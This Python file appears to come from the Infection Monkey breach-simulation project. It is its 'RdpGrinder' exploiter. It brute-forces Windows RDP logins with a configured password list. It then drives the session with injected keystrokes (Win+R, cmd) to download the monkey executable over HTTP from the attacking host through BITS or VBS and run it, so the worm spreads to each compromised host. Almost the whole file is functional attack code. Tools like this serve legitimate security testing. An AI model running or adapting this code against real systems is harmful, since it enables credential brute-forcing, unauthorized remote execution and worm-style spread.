monkey/chaos_monkey/exploit/rdpgrinder.py

326 lines
11 KiB
Python

import time
import threading
import os.path
import twisted.python.log
import rdpy.core.log as rdpy_log
from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
from rdpy.core.error import RDPSecurityNegoFail
from logging import getLogger
from exploit import HostExploiter
from exploit.tools import HTTPTools
from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from model.host import VictimHost
from network.tools import check_port_tcp
from exploit.tools import get_target_monkey
from tools import build_monkey_commandline, report_failed_login
__author__ = 'hoffer'
KEYS_INTERVAL = 0.1
MAX_WAIT_FOR_UPDATE = 120
KEYS_SENDER_SLEEP = 0.01
DOWNLOAD_TIMEOUT = 60
RDP_PORT = 3389
LOG = getLogger(__name__)
def twisted_log_func(*message, **kw):
if kw.has_key('isError') and kw['isError']:
error_msg = 'Unknown'
if 'failure' in kw:
error_msg = kw['failure'].getErrorMessage()
LOG.error("Error from twisted library: %s" % (error_msg,))
else:
LOG.debug("Message from twisted library: %s" % (str(message),))
def rdpy_log_func(message):
LOG.debug("Message from rdpy library: %s" % (message,))
twisted.python.log.msg = twisted_log_func
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
rdpy_log.log = rdpy_log_func
# thread for twisted reactor, create once.
global g_reactor
g_reactor = threading.Thread(target=reactor.run, args=(False,))
class ScanCodeEvent(object):
def __init__(self, code, is_pressed=False, is_special=False):
self.code = code
self.is_pressed = is_pressed
self.is_special = is_special
class CharEvent(object):
def __init__(self, char, is_pressed=False):
self.char = char
self.is_pressed = is_pressed
class SleepEvent(object):
def __init__(self, interval):
self.interval = interval
class WaitUpdateEvent(object):
def __init__(self, updates=1):
self.updates = updates
pass
def str_to_keys(orig_str):
result = []
for c in orig_str:
result.append(CharEvent(c, True))
result.append(CharEvent(c, False))
result.append(WaitUpdateEvent())
return result
class KeyPressRDPClient(rdp.RDPClientObserver):
def __init__(self, controller, keys, width, height, addr):
super(KeyPressRDPClient, self).__init__(controller)
self._keys = keys
self._addr = addr
self._update_lock = threading.Lock()
self._wait_update = False
self._keys_thread = threading.Thread(target=self._keysSender)
self._keys_thread.daemon = True
self._width = width
self._height = height
self._last_update = 0
self.closed = False
self.success = False
self._wait_for_update = None
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
update_time = time.time()
self._update_lock.acquire()
self._last_update = update_time
self._wait_for_update = False
self._update_lock.release()
def _keysSender(self):
while True:
if self.closed:
return
if len(self._keys) == 0:
reactor.callFromThread(self._controller.close)
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
return
key = self._keys[0]
self._update_lock.acquire()
time_diff = time.time() - self._last_update
if type(key) is WaitUpdateEvent:
self._wait_for_update = True
self._update_lock.release()
key.updates -= 1
if key.updates == 0:
self._keys = self._keys[1:]
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
self._wait_for_update = False
self._update_lock.release()
if type(key) is ScanCodeEvent:
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special)
elif type(key) is CharEvent:
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
elif type(key) is SleepEvent:
time.sleep(key.interval)
self._keys = self._keys[1:]
else:
self._update_lock.release()
time.sleep(KEYS_SENDER_SLEEP)
def onReady(self):
pass
def onClose(self):
self.success = len(self._keys) == 0
self.closed = True
def onSessionReady(self):
self._last_update = time.time()
self._keys_thread.start()
class CMDClientFactory(rdp.ClientFactory):
def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
self._username = username
self._password = password
self._domain = domain
self._keyboard_layout = "en"
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
self._keys = [SleepEvent(1),
ScanCodeEvent(91, True, True),
ScanCodeEvent(19, True),
ScanCodeEvent(19, False),
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
[WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command+"&exit") +\
[WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()]
self._optimized = optimized
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
self._nego = True
self._client = None
self._width = width
self._height = height
self.done_event = threading.Event()
self.success = False
def buildObserver(self, controller, addr):
"""
@summary: Build RFB observer
We use a RDPClient as RDP observer
@param controller: build factory and needed by observer
@param addr: destination address
@return: RDPClientQt
"""
# create client observer
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
controller.setUsername(self._username)
controller.setPassword(self._password)
controller.setDomain(self._domain)
controller.setKeyboardLayout(self._keyboard_layout)
controller.setHostname(addr.host)
if self._optimized:
controller.setPerformanceSession()
controller.setSecurityLevel(self._security)
return self._client
def clientConnectionLost(self, connector, reason):
# try reconnect with basic RDP security
if reason.type == RDPSecurityNegoFail and self._nego:
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
(connector.host, connector.port))
# stop nego
self._nego = False
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
connector.connect()
return
LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
self.success = self._client.success
self.done_event.set()
def clientConnectionFailed(self, connector, reason):
LOG.debug("RDP connection to %s:%s failed, with error: %s" %
(connector.host, connector.port, reason.getErrorMessage()))
self.success = False
self.done_event.set()
class RdpExploiter(HostExploiter):
_target_os_type = ['windows']
def __init__(self):
self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID
def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type:
return True
if not host.os.get('type'):
is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT)
if is_open:
host.os['type'] = 'windows'
return True
return False
def exploit_host(self, host, depth=-1, src_path=None):
global g_reactor
assert isinstance(host, VictimHost)
is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT)
if not is_open:
LOG.info("RDP port is closed on %r, skipping", host)
return False
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
if not http_path:
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
return False
cmdline = build_monkey_commandline(host, depth-1)
if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % {
'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline}
else:
command = RDP_CMDLINE_HTTP_BITS % {
'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline}
passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None:
if known_password in passwords:
passwords.remove(known_password)
passwords.insert(0, known_password)
if not g_reactor.is_alive():
g_reactor.daemon = True
g_reactor.start()
exploited = False
for password in passwords:
try:
# run command using rdp.
LOG.info("Trying rdp logging into victim %r with user %s and password '%s'",
host, self._config.psexec_user, password)
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
client_factory.done_event.wait()
if client_factory.success:
exploited = True
host.learn_credentials(self._config.psexec_user, password)
break
else:
# failed exploiting with this user/pass
report_failed_login(self, host, self._config.psexec_user, password)
except Exception, exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host,
self._config.psexec_user, password, exc)
continue
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
if not exploited:
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
return False
elif http_thread.downloads == 0:
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
return False
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), host)
return True